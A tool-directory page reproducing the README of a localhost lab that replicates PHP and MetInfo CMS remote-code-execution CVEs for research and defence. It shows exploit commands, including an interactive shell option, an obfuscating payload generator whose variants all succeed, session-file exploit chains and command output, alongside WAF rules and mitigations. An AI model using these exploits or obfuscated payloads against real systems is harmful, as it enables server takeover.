Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
php-rce-2026 — Localhost-only lab replicating MetInfo CMS CVE-2026-29014 and PHP core CVE-2026-109618/109619, with verified RCE exploit chains, AI-assisted payload generator, and defense artifacts. | Kitploit
Tools/GitHubGitHub/kandasirah/php-rce-2026
Defensive ToolsPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWAF BypassWeb SecurityPapers & ResearchIncident ResponseLabs & Practice
GitHub
11 month agoNot yet reviewed
Share
kandasirah/php-rce-2026

php-rce-2026

Localhost-only lab replicating MetInfo CMS CVE-2026-29014 and PHP core CVE-2026-109618/109619, with verified RCE exploit chains, AI-assisted payload generator, and defense artifacts.

View Repository

Lab RCE PHP 2026 — The viral RCE, replicated & tested locally

All exploits in this repo run only on 127.0.0.1. The lab uses a replica of vulnerable code rewritten from public advisories — not a production CMS installation being targeted. There are no third-party targets.

This lab answers one question: "in the age of AI, it should be easier to create payloads for carrying out RCE attacks" — with runnable and verifiable proof, not claims.

$ python3 verify/verify_lab.py
  [INFO] lab dinyalakan di :8098
  [PASS] lab server menyala -- HTTP 200
  [PASS] endpoint meniru perilaku MetInfo -- HTTP 200 body='success'
  [PASS] RCE (eksekusi perintah) -- VERIFY-42-1000
  [PASS] write primitive (cache/weixin/Array.php) -- 156 byte, berisi payload: True
  [PASS] 6 varian payload AI-assisted -- berhasil: 6/6
  [PASS] deteksi IOC artefak penyerang -- critical finding
  [PASS] diferensial PHP core (CVE-2026-109618) -- vulnerable=OOM:True patched=200:True

== 7/7 pemeriksaan lolos ==

verify_lab.py is hermetic: it spins up its own lab instance on port 8098 (separate from the manual lab on 8099), then shuts it down again at the end. So the results are never mixed up with a lab from another checkout. The lab server sends the X-Lab-Root header so the verifier can confirm that the instance being used really belongs to it.


1. What is here

DirectoryContents
lab/Vulnerable MetInfo replica (CVE-2026-29014) + php -S server on 127.0.0.1:8099
exploit/exploit.py (2-stage RCE) + payload_gen.py (AI-assisted payload generator)
exploit/php2shell/Lab & 5 PHP core exploit tools (CVE-2026-109618/109619) — 12 vulnerable vs patched instances
core-cve/PHP 8.4.11 (vulnerable) vs 8.4.27 (patched) differential for CVE-2026-109618/109619
defense/WAF rules, php.ini & Apache hardening, IOC hunting scripts, runtime mitigation checks
notes/Root cause analysis, viral CVE map, role of AI, remediation checklist (Indonesian)
verify/End-to-end verification script, hermetic (own instance on :8098), CI-ready

2. CVEs covered

CVEKomponenSeverityStatus di lab
CVE-2026-29014MetInfo CMS ≤ 8.1 — unauthenticated PHP code injection9.3RCE penuh, terverifikasi
CVE-2026-109618PHP core — RCE via OOM corruption9.2RCE terverifikasi (Chain D: OOM startup → file session basi → RCE)
CVE-2026-109619PHP core — RCE via stale global state9.2RCE terverifikasi (Chain A/C via file session) + UAF (Chain B)
CVE-2026-6722 / 7261 / 7262ext/soap — UAFCriticalDitinjau, tidak dieksploitasi penuh
CVE-2026-17544ext/bcmath — OOB writeHighDitinjau
CVE-2024-4577PHP-CGI argument injection9.8Tidak reproducible (Windows only)

Important note about the patch. For PHP 8.4.27, only Chain D is actually closed by the patch. Chains A, B, C, and E (FFI) still work on 8.4.27 because the root cause is in ext/session, which that patch does not touch. What closes all four at once is the configuration mitigation session.upload_progress.enabled = 0. Details in exploit/php2shell/README.md and notes/04-php2shell-chains.md.


3. Running

3.1 Prerequisites

  • PHP CLI ≥ 8.3 (installed: 8.4.11)
  • Python 3 + requests
  • Apache 2.4 + mod_php (specifically for the core CVE differential)

3.2 MetInfo Lab (CVE-2026-29014)

cd lab
setsid nohup python3 serve.py --port 8099 > /tmp/lab.log 2>&1 & disown
cd ..

# RCE satu perintah
python3 exploit/exploit.py -t http://127.0.0.1:8099 -c 'id'

# Shell interaktif
python3 exploit/exploit.py -t http://127.0.0.1:8099 --shell

Contoh output nyata:

$ python3 exploit/exploit.py -t http://127.0.0.1:8099 -c 'id; uname -a'
[+] tahap 1 (write cache/weixin/Array.php): HTTP 200 'success'
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC ...

3.3 Automatic verification

No need to start the lab manually — the verifier will start its own instance:

python3 verify/verify_lab.py            # hermetik, instance sendiri di :8098
python3 verify/verify_lab.py --json     # output JSON untuk CI
python3 verify/verify_lab.py --skip-core
python3 verify/verify_lab.py --target http://127.0.0.1:8099   # pakai lab yang sudah jalan
python3 verify/verify_lab.py --php2shell  # + matriks rantai php2shell (butuh labctl start all)

Exit code 0 only if all checks pass. A fresh checkout cloned from this repo can be verified directly without additional steps.

3.4 AI-assisted payload generator

# Lihat semua varian
python3 exploit/payload_gen.py --list

# Cetak payload dalam berbagai bentuk
python3 exploit/payload_gen.py -c 'id' --variant eval_b64 --emit php
python3 exploit/payload_gen.py -c 'id' --variant complex_curly --emit curl

# Bangkitkan + uji semua varian terhadap lab
python3 exploit/payload_gen.py -c 'id' --validate
    [+] complex_curly  RCE OK -> uid=1000(kali) gid=1000(kali) ...
    [+] eval_b64       RCE OK -> uid=1000(kali) gid=1000(kali) ...
    [+] chr_chain      RCE OK -> uid=1000(kali) gid=1000(kali) ...
    [+] hex_escape     RCE OK -> uid=1000(kali) gid=1000(kali) ...
    [+] gzip_b64       RCE OK -> uid=1000(kali) gid=1000(kali) ...
    [+] raw            RCE OK -> uid=1000(kali) gid=1000(kali) ...

berhasil: 6/6

3.5 PHP core differential (CVE-2026-109618)

Requires libphp8.4.so version 8.4.27 (patched). This module is not included in the repo (Debian binary). Prepare it yourself in any directory:

mkdir -p ~/pkgs/modphp && cd ~/pkgs
curl -sO "http://security.debian.org/debian-security/pool/updates/main/p/php8.4/libapache2-mod-php8.4_8.4.27-1~deb13u1_amd64.deb"
dpkg-deb -x libapache2-mod-php8.4_8.4.27-1~deb13u1_amd64.deb modphp

Run (the patched module path is provided via the FIXED_MOD environment variable):

cd core-cve
FIXED_MOD=~/pkgs/modphp/usr/lib/apache2/modules/libphp8.4.so ./apache_diff.sh start
#   :8091 = 8.4.11 (vulnerable)   :8092 = 8.4.27 (patched)
./run_diff.sh               # reproduksi semua pengukuran
./apache_diff.sh stop

Tanpa FIXED_MOD, skrip memakai /usr/lib/apache2/modules/libphp8.4.so (versi bawaan sistem) untuk kedua sisi dan akan menolak jalan bila modul patched tidak ditemukan.

Hasil utama (detail di core-cve/RESULTS.md):

header per partwire8.4.118.4.27
100.0000,38 MB31.549.960 B heap350.104 B
200.0000,76 MBHTTP 500 — OOM saat startup350.104 B

→ ≈79× amplifikasi memori pada build vulnerable; build patched memakai memori konstan.

3.6 Lab php2shell — eksploit PHP core (CVE-2026-109618/109619)

Modul terpisah dari exploit MetInfo: yang diuji di sini adalah PHP core, dan jalur serangannya lewat file session (bukan file .php di direktori cache).

# 1. unduh artefak build PHP (patched 8.4.27, vulnerable 8.4.24) ke ~/pkgs
bash exploit/php2shell/setup_artifacts.sh

# 2. nyalakan 12 instance lab (vulnerable vs patched, Apache vs FPM)
python3 exploit/php2shell/labctl.py start all
python3 exploit/php2shell/labctl.py status all

# 3. jalankan salah satu tool
python3 exploit/php2shell/chain_a_session_lfi.py -t http://127.0.0.1:8093 -c 'id'

# 4. matriks verifikasi semua rantai x semua instance
python3 exploit/php2shell/verify_chains.py --markdown

# 5. bersihkan
python3 exploit/php2shell/labctl.py stop all
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    960
  • 2

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    768
  • 3

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    606
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    509
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    462
  • 6

    mcp-reverse

    1llu50ry/mcp-reverse

    MCP server exposing 180+ reverse-engineering tools that aggregate Ghidra, IDA, x64dbg, Frida and 56 other backends with native binary parsers and a 4,200-skill knowledge base.

    354

Explore all tools

Browse our collection of tools

View all tools →